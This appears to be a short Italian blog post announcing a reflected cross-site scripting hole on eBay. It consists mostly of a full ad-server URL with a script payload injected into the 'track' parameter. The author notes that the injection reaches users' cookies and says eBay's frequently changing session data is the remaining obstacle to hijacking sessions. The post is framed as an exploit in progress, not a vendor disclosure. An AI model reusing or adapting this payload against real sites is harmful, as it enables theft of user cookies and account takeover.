Xss su ebay

Eccolo qui: http://lapi.ebay.com/ws/eBayISAPI.dll?CAServer&Accepts=n&adType=1&bgColor=FEF0CE&bin=n&bodyFont=1&borderColor=F8B20C&catid=&charity=n&charityid=&content=1&encode=ISO-8859-1&few=&gallery=y&linkColor=003366&logo=n&maxprice=&minprice=&priceColor=990000&prvd=1&r0=1&sacategoryex=&sacategoryin=&sellerid=&sid=eBayAdContext897507&siteid=0&size=14&sort=0&sortby=endtime&sortdir=asc&srchdesc=n&ssPageName=eBay_ads&testFlash=y&textColor=333333&theme=0&titleandprice=n&track=%22%3E%3Cscript%3Ealert('Haha')%3C/script%3E Sì, è un xss su ebay.com, e prende anche i cookie giusti.. Andrebbe tutto bene Se... Sì, c'é un se ed è bello grosso. Ebay continua a cambiare i dati sessione. Ad ogni refresh o quasi. Devo ancora approfondire. Però la sicurezza cresce in maniera esponenziale.

---

Questo articolo è stato pubblicato il 31-12-1969 alle 18:33 e classificato in XSSXSS.